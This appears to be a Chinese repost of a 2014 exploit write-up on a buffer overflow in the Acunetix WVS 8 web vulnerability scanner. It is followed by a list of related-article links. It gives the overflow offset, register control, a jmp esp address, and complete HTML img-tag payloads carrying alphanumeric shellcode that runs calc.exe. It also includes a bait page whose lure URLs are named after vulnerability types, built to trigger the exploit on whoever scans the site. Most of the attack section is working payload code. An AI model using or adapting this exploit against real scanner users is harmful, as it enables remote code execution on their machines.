漏掃工具AWVS命令執行
From: http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html
0x00 概述
幾個星期前,作者曾發表了關於WINRAR 0DAY(檔名欺騙)的文章。得到了大量人的關注和詢問,所以這次又放出一個0day (最熱門的漏掃工具 wvs)。作者POC測試版本為: ACUNETIX 8 (build 20120704) 貌似是老外用的非常多版本。作者意圖想讓攻擊者在使用wvs 按下掃描鍵前三思而後行(這個才是真正的主動防護吧:)。
0x01 漏洞分析
ACUNETIX 是一款強大的漏掃工具,很多新手喜歡用這個工具進行掃描。
在掃描初始化階段,會有這樣一個附加選項,如下圖
這一點讓作者產生了興趣,透過分析得出wvs 在解析http response時,提取一些資源請求 類似:
#!html
<img src=http://externalSource.com/someimg.png >
<a href=http://externalSource.com/ ></a>
Etc...
作者又進一步分析了這個過程,驚奇的發現當某個外部域名長度超過268位元組,wvs就會crash,作者開始嘗試構造>=268位元組長度的域名: 首先測試 如下
<A href= "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
用Immunity Debugger(OD是這工具的母板)附加掛載到wvs訪問網站: Edx被0x41(A)覆蓋 ,然後取資料段記憶體越權訪問崩潰了:
作者本打算利用SHE溢位執行shellcode但是比較麻煩。
這裡有個難點:
因為是url字串所以避免url的編碼類似
0x22 ("), 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (), 0x2F (/)
所以,這裡的shellcode不僅要是ascii,還要去除被URL編碼的字元,也因為如此很難繞過SHE保護。
作者提出的思路,利用前面可控制的EDX構造一個可讀的地址,同時要注意構造的edx地址要加8H
#!bash
MOVE ECX, DWORD PTR DS: [EDX-8];
Edx必須滿足下列兩個條件:
1.[edx]可讀
2.是ASCII符合並且沒有被URL轉義的符號
最終利用了0x663030XX 對應ascii值 f005。
前面精確測試出URL在268位元組時溢位(不包括http://),溢位點就是269這裡(500f開始)。
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB">
用wvs掃描
Ret之後,看到eip 被覆蓋BBBB 0x42424242。
這裡就選擇shellcode 存放位置 ,eax是call函式時的引數,就只有268位元組的A,esp當前棧頂指標指向著後面的B 明顯選擇esp(因為夠大 ascii編碼268位元組的shellcode很緊張的) 能控制到eip,也找好了shellcode存放空間。
再者就是找jmp esp 以前都是用公開的通用地址,這裡需要ascii字元且不被url編碼的,作者用的系統sxs.dll 的0x7e79515d,ascii編碼]Qy~
組合起來整個poc就是
<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>
最後,用metasploit的Alphanumeric Shell模組生成了一個純ascii且沒有被url編碼的彈calc.exe的shellcode ,你也可以試試用mst生成其他的shellcode玩玩,選取的地址[edx]和wvs(沒有開啟dep的編譯選項),所以繞過dep防護。
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA">
0x02 利用
作者這裡搞的非常好玩,因為這個點必須要用wvs人選擇下面這個才會有效。
So,作者很猥瑣構造了一些很誘惑的外部域名
“SQLINJECTION”
“XSS”
“CSRF”
And so on…
<html>
<img src="http://SQLInjection..............................................................................................................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>
<img src="http://XSS..............................................................................................................................................................................................">
<img src="http://CSRF..............................................................................................................................................................................................">
<img src="http://DeepScan..............................................................................................................................................................................................">
<img src="http://NetworkScan..............................................................................................................................................................................................">
<img src="http://DenialOfService..............................................................................................................................................................................................">
</html>
如下圖:
0x03 總結
我測試Wvs8.0 build 20120704 版本是可以成功彈出calc的。
後面評論有人說wvs8.0更新的版本也存在這個問題,我這裡測試下列版本:
Wvs8.0 20130416版本 Wvs9 各個版本
都不存在此問題。
作者給出的 exp下載。
相關文章
- AWVS掃描器掃描web漏洞操作2018-08-06Web
- TortoiseSVN 命令 (命令列執行工具)2011-12-30命令列
- awvs -網站掃描問題求指導2020-08-17網站
- Windows命令遠端執行工具Winexe2017-08-02Windows
- 網站滲透測試漏掃工具的應用技巧2020-12-14網站
- 限制SQLPLUS工具可執行的命令2009-08-05SQL
- linux伺服器基線加固、安全漏掃工具(綠盟...)掃出來的系統漏洞2020-12-05Linux伺服器
- 5種常用Web安全掃描工具,快來查漏補缺吧!2024-04-07Web
- C# 執行緒查漏補缺2023-01-31C#執行緒
- 網路掃描工具Nmap常用命令2021-07-03
- 容器化部署GVM掃漏系統2024-04-13
- 命令執行漏洞2020-10-20
- Docker執行命令2024-07-28Docker
- C# 執行緒同步查漏補缺2023-02-02C#執行緒
- 虛驚一場(使用工具執行命令的後果)2012-05-15
- Docker命令-docker exec-在執行的容器中執行命令2020-07-27Docker
- Java執行cmd命令2022-02-14Java
- 遠端執行命令2016-09-06
- 命令列執行Nunit2013-10-14命令列
- .net執行cmd命令2024-10-09
- 如何執行maven和執行maven的命令。2016-07-06Maven
- ClusterShell:一個在叢集節點上並行執行命令的好工具2019-07-26並行
- 【機器學習】使用Octave執行命令2018-10-08機器學習
- 監控 redis 執行命令2019-01-10Redis
- PHP命令執行集錦2022-03-21PHP
- 跟蹤執行命令T2018-03-22
- ./mongod命令執行報錯2017-03-29Go
- Java執行shell、cmd命令2017-12-13Java
- shell 下執行mysql 命令2018-01-12MySql
- 執行srvctl命令報錯2008-07-03
- oracle中執行os命令2009-03-12Oracle
- TestComplete命令列執行2010-01-30命令列
- 開始-執行-命令大全2007-07-23
- 收集 Linux 命令列執行的命令2019-05-01Linux命令列
- 【Mongo】shell命令列模式執行mongo命令2018-05-09Go命令列模式
- 掃描技術和掃描工具2017-11-30
- Golang 使用執行命令帶管道符執行的方法2019-09-06Golang
- 用 PHP 來執行執行網路相關命令2018-07-04PHP